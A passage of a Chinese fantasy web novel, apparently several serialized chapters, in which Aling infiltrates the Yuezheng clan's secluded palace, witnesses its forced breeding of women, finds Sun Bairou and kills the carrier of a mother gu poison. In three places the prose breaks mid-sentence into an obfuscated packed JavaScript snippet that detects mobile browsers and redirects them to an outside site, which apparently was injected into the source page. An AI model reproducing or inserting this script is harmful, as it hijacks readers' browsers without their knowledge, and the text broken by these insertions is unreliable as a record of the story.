按理说这地方与世隔绝,几乎不会有外人进来,暗杀偷袭之类极少发生,金明殿还是安排了足够的暗卫守护。 谨慎。 阿玲对乐正氏多了一层印象。 廖珮缨听到有人前来拜访时有些诧异,得知是今日刚认回的,立即知道来者是谁。 侍女将人领进来时廖珮缨对阿玲的第一印象是,清冷,淡青色袖口束紧,发丝用绿色发带扎起,又显得干练。 廖珮缨看她时对方平静地点了下头,两人还没开口,手里拿着折纸的女子好奇问:“你是谁?我没见过你。” 阿玲这才注意到坐在桌前折纸的妙龄女子。 她长得很漂亮,相较姣好容颜,更吸引人的是她身上干净纯真的气质,像通过蒸馏凝聚出来的水滴。 阿玲:“你可以叫我阿玲。” 廖珮缨适时开口:“我是廖珮缨,这是乐正婉儿。少主说你刚来还不适应,可以多来找我们说说话。” 阿玲坐下后她朝还在好奇的婉儿道:“她是乐正玲,今天刚从外面找回的,算算年纪应该是你妹妹。” 婉儿眨了下:“就是说,我以后可以找珮缨玩,还能找阿玲玩。” 廖珮缨:“是的。” 婉儿笑得眉眼弯弯:“好啊。” 她将折好的纸鹤放到阿玲面前:“送你,你会折纸鹤吗?我教你啊。” 桌子上不仅有纸鹤,还有纸玫瑰,纸青蛙,但婉儿显然更喜欢纸鹤,手边折了几个废掉的,唯一完好的送给了阿玲。 阿玲:“要怎么折?” 三人拿桌上的纸折了各种小东西,有折坏的,也有折好的,堆了满桌子后月已挂上头顶。 婉儿的表情肉眼可见地不开心起来,她拉着廖珮缨的袖子问:“哥哥说离开一会儿,怎么还不回?” 廖珮缨:“少主有事在忙。” 婉儿顺着袖子抓她的手腕:“我今天不想去。” 阿玲看到廖珮缨温柔平和的笑沉寂下来,只伸手摸了摸她的脑袋,就在这时,门外传来侍女的声音:“婉儿小姐,该回去了。” “好吧。”婉儿起身,“阿玲,明天我来找你玩啊。” 阿玲点头。 “我陪你回去,”廖珮缨冲阿玲歉意道,“不能继续陪你。” 阿玲在门口同两人分开,看得出来,廖珮缨的陪伴让婉儿心情好了很多。 回去的路上阿玲回想廖珮缨的表情,这位廖家大小姐向来礼数周全,很少有这么情绪外泄的时候。 想了想,阿玲决定上前看看。 拐角处的阴影里忽的升起一缕风,游荡在殿群间。 与此同时,金明殿中央的地下,乐正绪背手站在平静无波的墨池旁,铺满黑字的卷轴散落一地。 他漆黑眸色盯着墨池。 忽的,一丝涟漪自池水中央扩散。 “又来了。” 一根黑色细线从黑袍袖边探出头来,见黑衣主人没搭理,左右扭摆着细长的线身即将脱离袖口时,两根手指捏住线头将其抽了出来。 黑线甩落在白纸上,浮现一串黑字—— 玲小姐在暗中跟踪婉儿小姐。 一张白纸漂浮在半空,乐正绪并未动作便见上面黑字涌动,很快书写:不用管,她迟早会知道。 乐正绪收纸时目光瞥到荡漾的水面,动作一顿,随即张开纸张看着欧砚发来的消息,紧着他从衣袖中摸索,又抽出几根细线落字成句—— 你妹哦也可能是你侄女乐正玲跟我在一起。你们乐正氏太闷,我带她到处玩玩,玩累了给你送回来。 玲小姐不愿归,交手,遁走。 他的目光落在墨池上,目光深幽。 这几次事件发生时墨池都有反应,和乐正玲有关? 宫殿阴影里,隐在暗处的欧砚看着造化纸上浮现几字——试着逼她出手,字里行间没有急迫的意思,思考一瞬,消失在原地。 · 侍女提着宫灯在长长的走廊带路,婉儿小声和廖珮缨说着话,快到地方时她停住脚步,朝廖珮缨道:“你快回去吧,我们明天还玩折纸啊。” 廖珮缨:“还没到。” 婉儿奇怪:“可是你不喜欢啊。” 廖珮缨沉默片刻:“我不喜欢,但不影响我陪你。” 婉儿开心起来:“嗯!” 隐在风中的阿玲看两人朝通明的宫殿走去,快到门口时另一个方向走来一人,阿玲看到那人面孔时神色一顿。 白面具。 乐正绪说过,不能攻击白面具。 站在门口的廖珮缨显然也看到白面具,她目送婉儿进入门后,没看白面具一眼,转身离开。 白面具并未立即进去,他站在门口静静看着廖珮缨。 目光黏腻,恶心。 直到廖珮缨消失在走廊尽头,白面具才进入宫殿,大门轰隆关闭,两名侍女候在外面。 阿玲没随廖珮缨离开,白面具修为不高,她不担心会被发现,她等了会儿,循着风飘到宫殿上空,刚落在琉璃瓦上便听到下面传来的声响。 一瞬间她明白这是什么。 同时脑海浮现姬月生说的,配种。 月光照耀下琉璃瓦散发出柔和光芒,宫殿各处被暖黄光晕笼罩,她身处明亮华丽的殿堂之上,却只觉得心中发寒,令人作呕。 乐正氏,姬氏,这些站在金字塔顶端的神脉家族,她竟说不出哪个令她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273814|129389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更恶心。 · 第二日阿玲遇到偷袭。 因昨夜的事阿玲一夜未眠,天明才闭上眼就被陡然爆发的战意惊醒,她反应神速,从床上一跃而起,朝窗户的方向冲出。 下秒哗啦声响,身后房屋不堪负重倒塌一半。 阿玲心头火起,抽出雪麟目视罪魁祸首。 来人是个粉雕玉琢的锦衣公子,他看向阿玲,眼中兴致满满:“你就是新来的妹妹?幺叔说你修为不错,刚来就将他打折了,我们来打一架啊。” 说着压根不管她同意不同意,速度极快掠至她身前,一双灿然眼眸笑看她:“我要进攻了哦!” 有病! 阿玲一大早被打出火气,下手半点不留情,加上对这地方的厌恶,招式都是连轰带炸的,不是这间殿宇捅出窟窿,就是那个屋顶揭掉瓦片,她本着我不好受旁人也没别想好过的念头,暗地里狂搞破坏。 两人造成的动静引来护卫和暗卫。 乐正潼好武,平日和欧家修士过招都暗戳戳放水,没意思,现在打得正痛快,当即拦住这些人:“我们这是友好交流,谁也别插手!” 于是两人从金明殿这头打到那头,沿途都是破坏的痕迹。 有人正在屋里睡觉呢,被闹声吵醒,睁眼就看到蔚蓝天空和几根房梁,吓得连衣服都不穿地跑出来,结果一看,嚯,全是人,还有没穿裤子的呢。 乐正潼打得兴起,听到有人喊他低头一看,这才注意到金明殿被他俩搞成什么样子,立即停下手:“别打了,再打金明殿都没了。” 阿玲要的就是金明殿没,她冷眉而视,雪麟积蓄力量激起的大大大小的旋风,看得乐正潼心头狂跳:“等等!这招不行!诶诶诶别砍——” 阿玲握着雪麟自上至下劈去,缠绕在雪白剑身的旋风脱离的瞬间疯狂变大,十多个巨型风涡朝着四面八风席卷,狂风夹杂着怒吼试图撕扯万物。 乐正潼一脸“我完了”的呆滞表情。 就在风涡即将撞上各处殿宇时,一道巨型水流席卷所有风涡,看上去仿佛柔软的白练裹住涡流,风涡之力被无形的水流化解,无数雨滴从天而降,形成一场大雨。 乐正潼垂着脑袋落在乐正绪身边:“哥,我错了。” 阿玲持剑而立,雨滴停在她一寸外,飞溅的水雾勾勒出她的样子。 乐正绪抬首:“这才第二天。” 第一天打断人腿脚,第二天直接拆了金明殿。 阿玲也说:“我才回第二天,就这么不被待见。” 各色目光落在她身上,有不满她不温顺的,有征服欲十足的,也有皱眉怀疑的。 她说:“不然我走?” 谁知乐正绪一改昨日的不冷不淡,异常好说话:“你说得对,这是不是你的错,正好金明殿需要修葺一番,倒也不用找由头了。” 四周陆续响起不满声,都被乐正绪无视过去。 阿玲缓缓落地,平淡道:“那就多谢兄长关怀。” 乐正绪这个人即便是站在朦胧的雨幕里也异常分明,黑白两色将他和四周环境分割开来,阿玲似乎看到他笑了下。 转身时她看到人群中的廖珮缨。 她还是温柔含笑的样子,似乎更真切了些。 阿玲心中却想,能让乐正绪正视她,看来除了配种,她有了其他价值。 135. 135 “你在外面是怎么修炼的?” “什么时候我们再打一架,我好久没这么痛快了。” “要不就现在吧,你的修为不知道什么时候会被废除,你要是没修为了就太可惜了。” 乐正潼跟在阿玲身边说个不停,对方不理他也说得起劲儿,见阿玲忽然停下,他也停下高兴问:“你愿意跟我打了?” 阿玲皱眉问:“修为被废是什么意思?” 乐正潼理所当然道:“你是女孩子,女孩子不需要修为。” 阿玲神色不悦:“我辛苦修炼的,凭什么被废?” 乐正潼被问得一愣,他没思考过这个问题,反正这里的女孩都没有修炼,他也就这么认为。 但这么一想,要是他辛苦修炼的修为被人废掉,他也会很生气。 “廖珮缨的修为还在,”他小声辩解了下,“你去求求哥,说不定他也不会废你修为。” 阿玲瞥他眼,相较那位深沉的少主,眼前这位心智倒是天真得很。 金明殿各处损毁不小,为了尽快修复,隐藏在各处的修士全都出来,清理碎瓦破墙,计算物件损坏的,还有愁眉预算开销的。 阿玲在殿宇间穿行,身后的乐正潼看看四周:“你走错了,你的住处不是这方向。” 阿玲继续勘探昨晚没记的地方,随意道:“不是说进来就不能出去,我看看这里都有什么玩的。” 乐正潼说:“再好玩的地方待个十年也没趣,我觉得哥这次放过我们肯定是因为他也觉得这地方无趣,想换个环境。” “不过你刚来,对什么都不知道,我给你介绍啊。” 有个人做向导自然最好。 乐正潼带阿玲去的不是各处寝宫或正规议事的地方,他喜欢找些偏僻角落,比如藏在某棵树上可以看到附近宫殿里的所有动静,比如搬开某个水缸进入地洞能去侍女护卫休息的地方。 他还带阿玲去鲜有人来往的房间,指着空无一物的雪白墙壁说:“晚上这里是黑色的,如果有光飘到墙上,说明哥去墨池了。小时候我躲在这里还以为闹鬼,好长一段时间不敢过来。” 阿玲看着他如数家珍地将这些分享出来,点评:“看出来了,你是真的很无聊。” 乐正潼笑了下,不顾形象地仰面躺在地上,然后拍拍身侧想让阿玲也一起躺下来,他觉得这样有种和伙伴在秘密基地搞事的神秘感。 阿玲没躺,只抱臂倚在墙上。 乐正潼只好面露可惜:“外面太危险,我们出去就会被其他人抓住抽走神血,乐正氏的力量就凝聚在血里,所有人都在觊觎,只有这里是最安全的。” 阿玲低眉看他,见他真心这样认为,心中觉得荒谬。 在外面被称为四大神脉家族之一的乐正氏,在这与世隔绝的地方认为自己是处处受人压迫的小可怜。 想必大部分乐正氏子嗣从出生便被这种想法洗脑,所以才老老实实困在这里繁衍子嗣,以为自己在为家族延续尽一份力。 “你是怎么活到这么大的?”乐正潼好奇问。 阿玲没有纠正他想法的意思,顺着说:“被找到前,没人说我是乐正氏的人。” 乐正潼一脸同情看她,好像她是经历千辛万苦才终于安全回家一样。 阿玲:“……” “你刚才说的墨池是什么?” “你不能知道这些,”乐正潼一骨碌坐起来,认真强调,“女孩子都不能知道这些。” 阿玲面无表情:“但是你刚才让我知道了。” 乐正潼:“对!所以我多说点也没差!” 阿玲:“……” 看出来了,这少年在这里憋坏了。 “你死后也会变成墨池的一部分,”乐正潼说,“只要身上流着乐正氏的血,最终都会回归墨池,这是‘字’的力量来源,也是我们能用神力的原因。” 阿玲陷入沉思。 乐正氏是因为墨血所以能使用“字”的力量,墨池便是这一切力量来源。 但她没有墨血,她是被字灵认可后才得到字的力量。 乐正氏还没法分辨出两者的区别。 这是不是说明,控制“字”的方式并非一种,墨池和字灵的效果是一样的。 君慕之说过,乐正氏没有神,他们掌握的力量只是血脉传承的这部分,所以迫切想要长恩成神,企图创造字的意识,以此彻底掌握字的力量。 文字有灵,是因为字是有意义的,这种意义被无数人认可传承,即便仓圣陨落,字的力量仍在。 所以,乐正氏想用其他意识替代字灵,或是说,是侵蚀字灵? 乐正绪突然对她和颜悦色,会是这个原因吗? “阿玲,阿玲!”阿玲回过神,乐正潼奇怪问:“你想什么,我问你话都不回。” 阿玲:“你问什么?” 乐正潼盘腿坐得端正,仰头问:“我去哥那把你讨来给我好不好?” 阿玲眯了下眼,乐正潼说:“我这是为你好,你刚来不知道,这里女孩子不仅不能修行,还要啊啊——” 然后乐正潼毫无防备地被扔出去了。 阿玲皱眉甩了下手。 现在最紧要的还是尽快先找到孙柏柔。 从廖珮缨对婉儿的态度来看,她也在内心厌恶这里的规则,大概率不会让孙柏柔暴露在乐正氏眼皮底下。 在乐正少主那里有点话语权,又被其他乐正族人盯着,廖珮缨唯一有操作空间的地方。 侍女。 乐正潼虽然玩心大,但也让她得到不少有用消息。 · 侍女和护卫的住处在地下。 金明殿下方是另一个世界,光影设计巧妙地引入了地上光芒,虽处于地下,却半点不见昏暗。 此时正是上面的用膳时间,加之金明殿损毁,平日还能见到人来往穿行,此时却是许久才匆匆走过一两人。 忽然,尽头的门打开,一名女子从门后探头,见没人便抱着一团小布包跑出来,身形踉跄着一路小跑。 地下用膳时间比上面晚一个时辰,此时小厨房没人,墙上挂着大大小小的刀具,女人面色苍白地看着一排刀具,刚准备伸手,见厨房外院有只大水缸,放弃刀具跑到水缸前。 怀里的布包动了下。 女人也跟着颤抖起来。 但将布包压入水缸的动作没有停止。 “你在做什么?” 轻柔的声音从身后响起,让女人身后冷汗直冒,她手里的动作迅速而决绝。 一道惊天婴儿啼哭炸响。 下秒,包裹婴儿的布包不受控制地从女人手中飞出,落到孙柏柔手中。 “你把我孩子还给我!”女人哭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299710|129389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着冲过来要孩子,被孙柏柔侧身闪过,她皱眉问:“这是你的孩子?你刚才要杀她。” 女人出来时只是简单拢住身体,此时衣衫凌乱,发丝黏在脖颈处,她刚生产完,身体虚弱得厉害,根本抢不过孙柏柔,只能低声哀求:“我的孩子在哭,你把她给我,求求你。” 孙柏柔不为所动,手指按在沾湿的布包上拔除水汽,她轻晃两下安慰啼哭的婴儿:“你既然是她母亲,为什么要杀她?” 女人跪在地上哭得浑身颤抖,声音绝望而痛苦:“她是女孩,她是女孩啊!” 孙柏柔皱眉,廖珮缨将她带来这里后安置在地下,她又会医术,很多侍女身上有各种淤青伤口,倒是让她有了发挥余地,很快和这里的侍女打成一片。 这几日的所见所闻也让她了解这是个什么地方。 她也不知道该怎么安慰,低头看哭得满脸涨红的女婴,沉默片刻道:“孩子还小,未来有无限可能,你直接掐灭她的生命相当于放弃所有可能。” 女人哭着摇头,听不进她的话。 孙柏柔叹了声:“我可以帮你把孩子带出去。” 女人抬头,没有人能离开这里,但万一呢,只要有一丝可能她都愿意尝试,她仓皇问:“真……真的?” “真的,”孙柏柔单手扶她起来,手指顺势搭在她脉搏上,眉心皱了下,“你刚生产不久,不该到处乱跑,你住在哪里,我送你回去。” “你,你就是那个新来的医师?”女人忽然用力抓住她的手,“你真的能离开?” 孙柏柔:“嗯,先看你的病。” 阿玲是顺着婴孩哭声走来的,看到孙柏柔蹲在药罐旁看女人逗孩子,她难得地没出声。 孙柏柔先一步发现她,扫了眼她身上的水墨袍,点头打个招呼,然后说:“现在还没到饭点,你晚点再来。” 阿玲笑了下:“我不急。” 孙柏柔多看了她两眼,随后安静地熬药,看着女人喝完药又叮嘱一番,将人送到房间后才冷脸看一直跟在身后的阿玲:“你要做什么?” 阿玲眨了下眼:“有更隐蔽的地方吗?” 孙柏柔刚要拒绝,就听她喊:“孙小柔。” 半刻钟后,两人进入临时房间,孙柏柔望来的目光带着探究:“你是谁?” 阿玲直接道:“我叫阿玲,受江弥所托带你离开。” “是江弥……”孙柏柔有些迟疑,“你怎么进来的?我没听江弥说过你,你和她是什么关系?” 来前阿玲早已想好说辞:“江弥曾救过我,前段时间乐正氏要认回我,她找来说希望我能将你带出去。” 阿玲交代她走后廖家情况:“江弥定期去看望你爹,他的状态还算稳定,但很担心你。廖珮缨走后你三姑开始整肃廖家,一切在向好的方向发展。” “现在只需要你跟我离开。” 孙柏柔沉默着没说话,阿玲以为她还在怀疑,又说了几件江弥和她之间的小事情,看她的面色和缓下来,准备直接掏出传送玉牌离开。 孙柏柔忽然说:“我不能跟你回去。” 阿玲顿住:“为什么?” “我中了蛊毒,现在回去也不过一月寿命。不仅我,我爹,祖母,三姑,廖家上下都活不过一月,”孙柏柔语气轻柔,却带着坚定,“我得找到欧家下蛊之人,找到解蛊的办法。” 136. 136 阿玲面色一沉:“谁下的毒?” 孙柏柔惊讶于她的反应,她想阿玲和江弥的关系一定很好,才会同江弥感同身受,为她的事发火。 初见的疏离逐渐褪去,孙柏柔不自觉生出亲近之感。 她说:“是我堂姐。” 阿玲收敛心中冷意,现在不是计较这些的时候,孙柏柔比阿玲早几天来,她思索片刻问:“关于蛊毒,你查出什么了?” “还没线索,”孙柏柔也毫无头绪,“我发现这事太晚,确定我爹中蛊就被堂姐带来这里,我想去问堂姐,但这里戒备森严,还没找到机会。” 阿玲冷静分析:“廖珮缨暴露的那刻已经彻底和廖家决裂,她的背后是乐正氏,是欧家,这样的关系存在,她就不会告知你蛊毒之事。” 她不想孙柏柔碰到乐正氏的人,蛊毒还没调查清楚,暴露廖家身份更是麻烦。 而且阿玲的身份存疑,拖得越久越容易被发现端倪。 乐正绪的态度也让她很在意。 阿玲说:“这事交给我,你呆在这里,有消息我会找你。” “但是我……”孙柏柔不想只是在这里等,刚准备说她也要帮忙,突然被捏住脸颊,她呆了下,阿玲说,“相信我,我有办法。” 按理说两人第一次见面,孙柏柔也不是轻易信任他人的性子,但她莫名就应下来了。 看她茫然又奇怪的样子,阿玲笑了下。 · 廖府。 君慕之收回搭在廖愈腕间的手,垂眸沉吟,廖愈忍不住问:“这是什么蛊毒?该如何解?” 江弥将廖愈的手放回被褥,也去看君慕之。 “是月盈蛊,”君慕之动作自然地去握江弥的手,手指轻轻摩挲,江弥没注意这些,就听他继续道,“月盈蛊是子母蛊,子蛊一旦脱离母蛊,在某些条件下可通过皮肤相触传播,且每月都需母蛊之人的血安抚。曾有人用月盈蛊灭掉三分之一城,被列为十大禁术之九。” 廖愈大惊:“这竟然只排第九?” 君慕之:“月盈蛊传播快,但不难解决,只要杀了身怀母蛊之人便可。” 江弥问廖愈:“谁给你们下的蛊?” 廖愈回忆片刻,摇头:“除了欧家带人冲进廖家那次,后续都是珮缨定时提供解药,我们没有见过其他人。” 江弥思索:“会是廖珮缨吗?” 君慕之:“蛊无法在神血中存活。” “那就只可能是欧家人。”江弥拧眉。 但欧家人口那么多,可能在金明殿,也可能在欧家本族,甚至随便一个分支都有可能,简直如大海捞针。 手忽然被捏了下。 江弥从思绪中抽离,君慕之还坐在床沿,她站着,看他时需要低头,也在这时君慕之抬首,静静看她,一言未发。 这是在要奖励? 江弥从缘崃寺和云坑的经验来看,亲吻的治疗效果应该是比牵手拥抱好,只是君慕之从来不说,江弥只能从他的反应推测。 亲亲抱抱能治病,更甚者她还没试过,不好下结论。 根据她刷文看剧的经验,这种小黄书设定通常伴随着虐恋替身白月光火葬场一条龙,外人看只觉得狗血新奇,可若落在自己身上,她只有恶心和反感。 但君慕之从未让她有过这种感受。 像是将克制忍耐变成他的底色,君慕之不曾她面前表现出渴求和欲望,他自幼与痛苦为伴,寻到她时也只是让她待在附近,连触碰都没有。 江弥将自己的处境和君慕之对调,觉得自己大概会化身皮肤饥渴症患者,想方设法地同君慕之相贴。 这个矜持克制到极致的人,她能感受到他对这种亲密行为的虔诚和谨慎。 江弥一边猜测君慕之是否是这个意思,一边朝床上努力回忆线索的廖愈看了眼,这个角度正好挡住了。 这种小要求有利于感情更进一步。 江弥微微弯腰,一只手被握,她抬起另只手,掌心贴在君慕之耳后,看到他极快眨了下眼,然后垂眸。 手指摩挲的动作停顿。 江弥心想,没有像第一次那样被她吓到,这应该也算一种进步吧。 吻只是很轻的碰触。 然后分开。 江弥直起身,收回手眨眼看他,神色自然问:“你能确定是谁吗?” “有办法确定母蛊在哪个欧家人身上?”廖愈急切的声音从君慕之身后传来。 君慕之别开脸:“子母蛊近距离接触时会有感应。” 然后指尖被重重捏了下。 什么意思?猜错了?还是君慕之只是要个表扬? 这么想着,她又问:“怎么才能中这蛊?” · “这就是你说的办法?”孙柏柔回退两步远离阿玲,“我不同意。” 阿玲面不改色道:“我身上有乐正氏血脉,子蛊在我体内无法存活太久,你的身份如果暴露,我没有把握将你带出去。我是最合适的人选。” “可是……你也是不确定的,是吗,”孙柏柔有些不理解,“如果我们要找的欧家人不在这里,你是不是也可能会死?可我们才刚见面。” 怎么会有人会为刚见面的人冒生命危险? 阿玲给自己加戏:“这条命本来就是江弥救的,成的话我们都能出去,就算败了,也算还她恩情,而且乐正氏不会让我就这样死掉。不管怎么结果,我都不会有事。” 孙柏柔大受震撼,并自愧道:“你竟然能为江弥做到这种程度,我不如你。” 为什么要比较这种事? 阿玲按照君慕之的办法让子蛊在她体内成形,她将拿在手里的玉牌塞孙柏柔手中:“这是传送玉牌,我杀掉母蛊就会来找你汇合,你——” “不行!”孙柏柔敏锐察觉不对,将玉牌塞回去,神情严肃,“你这话像是临终遗言,你是不是在说谎,子蛊无法在你体内存活太久是骗我的?” 阿玲:“……你要相信神血与众不同。” 这件事孙柏柔坚决不退让:“那你将玉牌收好,如果真像你说的没事,你肯定能带我离开。” 她认真说:“我等你来找我。” 阿玲:“……行。” 地下的用膳时间差不多到了,侍女们走动声逐渐多起来,阿玲推门混在一群水墨衣袍离开。 她的房间被乐正潼弄坏,又换了间。 阿玲回房推开门时见里面有人背对她而立,她以为走错了,刚准备离开,身着黑袍的乐正绪转过身,意味不明地打量她的侍女打扮,等着她解释。 阿玲心脏快跳了几下,心道乐正氏的人果然变态,不是在她睡觉时攻击她就是不经允许进屋。 自证直接落入下乘。 先发制人。 “原来这是少主的房间,看来服侍乐正氏的侍女也不怎么样,连少主的房间都记错,”阿玲站在门口,没有踏进的意思,“不知道的还以为乐正氏的少主有怪癖,喜欢往女孩子的房间钻。” 乐正绪:“你不在。” 这是让她解释去哪。 阿玲压根不接:“我没爹娘教导也知道,不得主人允许不得进门,我想乐正氏的少主至少是有爹娘的。” 乐正绪就那么看她几秒,不同她纠结衣着和去处的问题了,自然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299711|129389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地换了话题:“族中女性不得修炼,二弟说你不愿废掉修为?” 这可真是好笑,阿玲甚至连嘲讽的欲望都生不出。 她面无表情道:“乐正潼说廖珮缨保留了修为。” “她不是例外。”乐正绪深深看她,“但你是。” 欧砚说,廖珮缨得乐正绪喜欢,所以保留修为,留在他身边,避免了婉儿的结局。 乐正绪说,廖珮缨不是例外,她会被废掉修为,成为第二个婉儿,可能是明天,半个月后,亦或是,哪天他不喜欢了。 现在他说,你是例外。 阿玲:“那……谢谢?” 乐正绪并没有多提,转而问她和君慕之姬月生的事,好像他来拜访只是对两位家族的少主感兴趣。 但刚才的对话在阿玲心头笼罩了层阴云,字灵和墨池的猜想在脑海浮现,对乐正绪的询问,她敷衍地挑挑拣拣说了些,对方看出她没心情,很有好哥哥风范的告辞。 乐正绪走后,阿玲思索许久也没思绪,她能感觉到雷鸣降至,却看不清乌云之上的场景,心情莫名焦躁。 不能再等。 阿玲装作对金明殿的修复表示关心和歉意,出现在金明殿各个地方,企图找到能让她体内产生感应的欧家人。 但很遗憾,她走遍金明殿内外,能见到的欧家人基本都见过了,没有任何收获。 地下不可能,若母蛊在侍女身上孙柏柔早被发现了。 护卫、暗卫也没有。 欧砚也没有。 还是说不在这里,在欧家? 如果在欧家就只能带着廖家人潜进去寻找,欧家有主家和分支,事情会变得更为复杂。 君慕之说蛊无法在神血中存活,也就是说,一旦母蛊之人察觉她身上有子蛊,她假的乐正氏身份就会被识破,接下来就是她为什么能和乐正氏一样掌握字的问题。 直觉告诉她,这个绝对不能让乐正氏知道。 她必须在中蛊之人感应到她的瞬间将其一击毙命。 这让她必须集中精神面对每一个人。 持续两个日夜的高强度精神集中让她有些疲倦。 阿玲按了下太阳穴,刚走出拐角就见迎面走来两人。 廖珮缨走在前面,语调轻慢地同身后之人道:“你在教我做事?” 那人被这句话激得面色沉怒,刚要开口斥责,忽然顿住,猛地抬眼望向前方。 也在同时,阿玲感受到了心脏强有力的跳动。 失衡的,不正常的。 “你是——” 几乎在瞬间,阿玲拔出雪麟瞬影上前,廖珮缨甚至没看清她如何动作,身后声音戛然而止,十分突兀。两秒后温热液体喷溅在她脖颈处,尸体倒地声响起。 廖珮缨动作缓慢地抬手擦了下脸,指尖鲜红。 她身后几步之外,阿玲刚感受子蛊死亡,持剑的手忽然紧握。 空气传来无法忽略的压迫感。 还是来了。 事到如今只能赌一把。 阿玲转身走到廖珮缨身后,血水喷溅在她头发和背后,仿佛淋了一场鲜红的雨。 她保持着端正静立的姿态,阿玲靠近时也没动,抬手擦去她脖颈间血水时感到皮肤激起的鸡皮疙瘩。 阿玲轻声低语,借着这个亲密的姿势隐晦地将玉牌塞她手中,随后低声说:“一个时辰后我没出现,你们摔碎玉牌离开这里。” 护卫和暗卫从暗处走出,将两人包围。 欧砚走在最前方,看都没看地上尸体,躬身道:“玲小姐,少主有请。” 阿玲后退着转身,同欧砚离开。 137. 137 室内幽香缭绕,安静无声。 黑袍男子坐在桌前,托着茶杯转了转,沉默无言。 廖珮缨姿态端庄地站在他身后,乐正绪进门开始就不说话,她也垂眸不语。 茶杯忽然搁在桌面。 乐正绪:“我不喜欢自作聪明的人。” 廖珮缨抬了下眼,只看到他的后背,她不奇怪乐正绪会知道她带人进来。 乐正绪没有等到廖珮缨的解释,回身看她静默,苍白的手忽然捏住她肩膀将人拉到跟前,极黑的眼瞳注视着她:“你没什么要说的?” 廖珮缨垂眸:“山河图在她身上,当时情况紧急,我只能带人一同进来。” 乐正绪:“我要听实话。” 廖珮缨抬首看着他的眼睛,眼眸平静而明亮,语调柔和道:“这就是实话。” 乐正绪的另只手抬起,捏着她的下巴端详:“最好是你说的这样。” 但看上去并没有消气。 廖珮缨看着他甩袖离开,缓缓站直,垂下来的目光变得幽深。 她很了解乐正绪。 他正在对她失去耐心。 乐正绪是乐正氏少数几个能接触外界信息的人,十岁那年他意识到自己生活在怎样的谎言中后,拒绝所有安排在身边服侍的侍女。 他的母亲是个胆小柔弱的女人,只敢在临死前哭着咒骂,廖珮缨在他情绪失落时听过。 他说:“墨血,是被诅咒的血脉。” 乐正氏期盼乐正绪能诞下神血浓度更高的子嗣,他却不愿接近任何女性,直到廖珮缨的到来。 廖珮缨有时候会忘记自己有个好运系统,它的存在感太低,只在某些时候出现。 比如刚穿越落入混沌时的指引,比如即将被廖家祖母发现异世者时忽然被人告知,她身上有乐正氏血脉。 再比如,落入乐正氏得到乐正绪的青睐。 乐正绪脾气很怪,有时候话痨说个不停,有时候沉默着阴晴不定,他的掌控欲很强,却喜欢自由的灵魂,性格复杂多变,在爱情方面却单纯得很。 他以为对廖珮缨的特殊感情是爱情,学习外面正常爱情的模样对她,并乐此不疲。 可实际上,廖珮缨不过是他临时感兴趣的小玩意儿,喜欢的阿猫阿狗,这只猫猫看着柔顺漂亮,能满足他对正常感情的好奇和探索,于是对她也宠爱有加。 廖珮缨深知这点,也知道这种喜爱很快到头。 但她的原计划里,这天不该这么快。 “等一下……您不能这么闯进去!” 门外忽然传来侍女的阻拦声。 廖珮缨抬首看到来人时便猜出乐正绪今日为何这么生气。 欧丰。 他粗暴地甩开拦路的侍女,当着廖珮缨的面将她甩到墙上,脸上带着挑衅和幸灾乐祸:“姓廖的,你觉得你还能得意多长时间?” 那侍女忍痛扶墙起来,廖珮缨示意她退下。 总是微笑示人的表情淡了些。 她知道欧丰在找机会将她拉下去,他若将君慕之在廖家的事告诉乐正绪,也就不难理解乐正绪为何生气了。 在廖珮缨回到乐正氏之前,欧丰大费周章地将自己的人安排在乐正绪附近,花了一年才让乐正绪记住她,刚有点效果,廖珮缨出现了。 因这件事,他被同族兄弟笑了无数次。 属于欧家的利益被廖珮缨截胡,他们都看廖珮缨不顺眼,只是少主不仅允许廖珮缨外出,还留在身边养着,所有人都看出她的特殊,没人敢找她麻烦,只能旁敲侧击地寻其他人不痛快。 欧丰就是这个倒霉人。 欧丰也不痛快,但也只能忍着。 直到乐正绪为了让廖珮缨控制廖家,让他做蛊毒的母体。 月盈蛊每月都要从母体取血制药安抚子蛊,廖家主要人口不少,欧丰就这么被连续取了几年血,害得他到处找补血药,就怕哪天缺血而死。 他的修为很久没进阶,他怀疑也跟这有关。 这两年他的地位升上来,看到廖珮缨就想新账旧账一起算,暗中盯了很久,没想到这么快让他抓到把柄。 一旦乐正绪开始怀疑她,再获取信任就难了。 这么想着,他心中越发得意:“你明知道少主对君氏少主倍加关注,却可以隐瞒这么重要的事,居心何在?还是说你和君氏少主暗中勾结想做什么?” 廖珮缨轻飘飘看他眼,不疾不徐道:“你这么为少主着想,不若我带你去见少主,你亲自说?” 